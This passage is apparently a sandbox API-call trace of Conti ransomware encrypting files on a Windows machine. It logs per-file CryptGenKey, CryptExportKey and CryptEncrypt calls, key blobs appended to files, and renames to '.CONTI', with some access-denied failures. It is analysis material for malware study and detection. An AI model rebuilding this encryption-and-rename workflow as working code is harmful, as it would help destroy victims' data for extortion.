	[0096.563] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.563] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.563] WriteFile (in: hFile=0x374, lpBuffer=0x17d91f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17d91f4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.564] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.564] ReadFile (in: hFile=0x374, lpBuffer=0xda50000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x11000, lpOverlapped=0x0) returned 1
	[0097.447] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x11000, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x11010) returned 1
	[0097.447] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.447] WriteFile (in: hFile=0x374, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x11010, lpOverlapped=0x0) returned 1
	[0097.447] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.447] WriteFile (in: hFile=0x374, lpBuffer=0x17d91e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17d91e8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0097.447] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.447] CloseHandle (hObject=0x374) returned 1
	[0097.449] GetProcessHeap () returned 0x1720000
	[0097.449] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.449] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx"
	[0097.449] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.CONTI"
	[0097.449] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.conti")) returned 1
	[0097.450] GetProcessHeap () returned 0x1720000
	[0097.450] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.450] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0097.450] GetProcessHeap () returned 0x1720000
	[0097.450] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f4d0 | out: hHeap=0x1720000) returned 1
	[0097.450] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0099.087] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17e8b50 | out: phKey=0x17e8b50*=0x17c8430) returned 1
	[0099.087] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e8b54, pdwDataLen=0x4bffe94 | out: pbData=0x17e8b54*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0099.110] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat")) returned 0x20
	[0099.111] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0099.114] GetLastError () returned 0x0
	[0099.116] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=3688458) returned 1
	[0099.116] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x38480a
	[0099.116] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.117] SetEndOfFile (hFile=0x2f8) returned 1
	[0099.117] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.118] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.118] WriteFile (in: hFile=0x2f8, lpBuffer=0x17e8b54*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17e8b54*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0099.127] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.127] ReadFile (in: hFile=0x2f8, lpBuffer=0xda50000, nNumberOfBytesToRead=0x38480a, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x38480a, lpOverlapped=0x0) returned 1
	[0100.267] CryptEncrypt (in: hKey=0x17c8430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x38480a, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x384810) returned 1
	[0100.271] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.271] WriteFile (in: hFile=0x2f8, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x384810, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x384810, lpOverlapped=0x0) returned 1
	[0100.985] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.985] WriteFile (in: hFile=0x2f8, lpBuffer=0x17e8b48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17e8b48*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0100.991] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0100.991] CloseHandle (hObject=0x2f8) returned 1
	[0103.336] GetProcessHeap () returned 0x1720000
	[0103.336] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x651e038
	[0103.337] lstrcpyW (in: lpString1=0x651e038, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat"
	[0103.337] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.CONTI"
	[0103.337] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat.conti")) returned 1
	[0103.953] GetProcessHeap () returned 0x1720000
	[0103.953] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x651e038 | out: hHeap=0x1720000) returned 1
	[0103.955] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0103.955] GetProcessHeap () returned 0x1720000
	[0103.955] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfdd0 | out: hHeap=0x1720000) returned 1
	[0103.955] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0103.955] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d4fa0 | out: phKey=0x17d4fa0*=0x17c8070) returned 1
	[0103.955] CryptExportKey (in: hKey=0x17c8070, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4fa4, pdwDataLen=0x4bffe94 | out: pbData=0x17d4fa4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0103.956] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml")) returned 0x20
	[0104.644] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.644] GetLastError () returned 0x5
	[0104.644] CryptDestroyKey (hKey=0x17c8070) returned 1
	[0104.644] GetProcessHeap () returned 0x1720000
	[0104.644] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8648 | out: hHeap=0x1720000) returned 1
	[0104.644] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0104.655] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d2fb0 | out: phKey=0x17d2fb0*=0x17c84f0) returned 1
	[0104.655] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2fb4, pdwDataLen=0x4bffe94 | out: pbData=0x17d2fb4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0104.657] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico")) returned 0x20
	[0104.657] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.657] GetLastError () returned 0x5
	[0104.657] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0104.657] GetProcessHeap () returned 0x1720000
	[0104.657] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d098 | out: hHeap=0x1720000) returned 1
	[0104.657] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0104.658] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d2448 | out: phKey=0x17d2448*=0x17c7fb0) returned 1
	[0104.658] CryptExportKey (in: hKey=0x17c7fb0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d244c, pdwDataLen=0x4bffe94 | out: pbData=0x17d244c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0104.659] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico")) returned 0x20
	[0104.659] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.659] GetLastError () returned 0x5
	[0104.659] CryptDestroyKey (hKey=0x17c7fb0) returned 1
	[0104.659] GetProcessHeap () returned 0x1720000
	[0104.659] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173bf30 | out: hHeap=0x1720000) returned 1
	[0104.659] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0104.660] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d2690 | out: phKey=0x17d2690*=0x17c8030) returned 1
	[0104.660] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2694, pdwDataLen=0x4bffe94 | out: pbData=0x17d2694*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0104.661] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico")) returned 0x20
	[0104.661] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.661] GetLastError () returned 0x5
	[0104.661] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0104.661] GetProcessHeap () returned 0x1720000
	[0104.661] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cd58 | out: hHeap=0x1720000) returned 1
	[0104.661] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0104.662] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d4d58 | out: phKey=0x17d4d58*=0x17c7e70) returned 1
	[0104.662] CryptExportKey (in: hKey=0x17c7e70, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4d5c, pdwDataLen=0x4bffe94 | out: pbData=0x17d4d5c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0104.663] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico")) returned 0x20
	[0104.663] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.663] GetLastError () returned 0x5
	[0104.663] CryptDestroyKey (hKey=0x17c7e70) returned 1
	[0104.663] GetProcessHeap () returned 0x1720000
	[0104.663] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0104.663] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0104.664] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d3b18 | out: phKey=0x17d3b18*=0x17c82b0) returned 1
	[0104.664] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3b1c, pdwDataLen=0x4bffe94 | out: pbData=0x17d3b1c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0104.665] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico")) returned 0x20
	[0104.665] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.665] GetLastError () returned 0x5
	[0104.665] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0104.665] GetProcessHeap () returned 0x1720000
	[0104.665] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d648 | out: hHeap=0x1720000) returned 1
	[0104.665] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0104.666] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d5430 | out: phKey=0x17d5430*=0x17c8270) returned 1
	[0104.666] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5434, pdwDataLen=0x4bffe94 | out: pbData=0x17d5434*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0104.666] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico")) returned 0x20
	[0104.666] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.667] GetLastError () returned 0x5
	[0104.667] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0104.667] GetProcessHeap () returned 0x1720000
	[0104.667] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d238 | out: hHeap=0x1720000) returned 1
	[0104.667] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0104.667] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d4fa0 | out: phKey=0x17d4fa0*=0x17c8370) returned 1
	[0104.667] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4fa4, pdwDataLen=0x4bffe94 | out: pbData=0x17d4fa4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0104.668] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml")) returned 0x20
	[0104.668] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.668] GetLastError () returned 0x5
	[0104.668] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0104.668] GetProcessHeap () returned 0x1720000
	[0104.669] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0104.669] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0104.960] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d2fb0 | out: phKey=0x17d2fb0*=0x17c8270) returned 1
	[0104.960] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2fb4, pdwDataLen=0x4bffe94 | out: pbData=0x17d2fb4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0104.960] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedscenarios\\windows.uif_ondemand.xml.inbox")) returned 0x20
	[0104.963] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedscenarios\\windows.uif_ondemand.xml.inbox"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0104.963] GetLastError () returned 0x0
	[0104.963] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=2512) returned 1
	[0104.964] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9d0
	[0104.964] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.964] SetEndOfFile (hFile=0x350) returned 1
	[0104.964] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.964] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
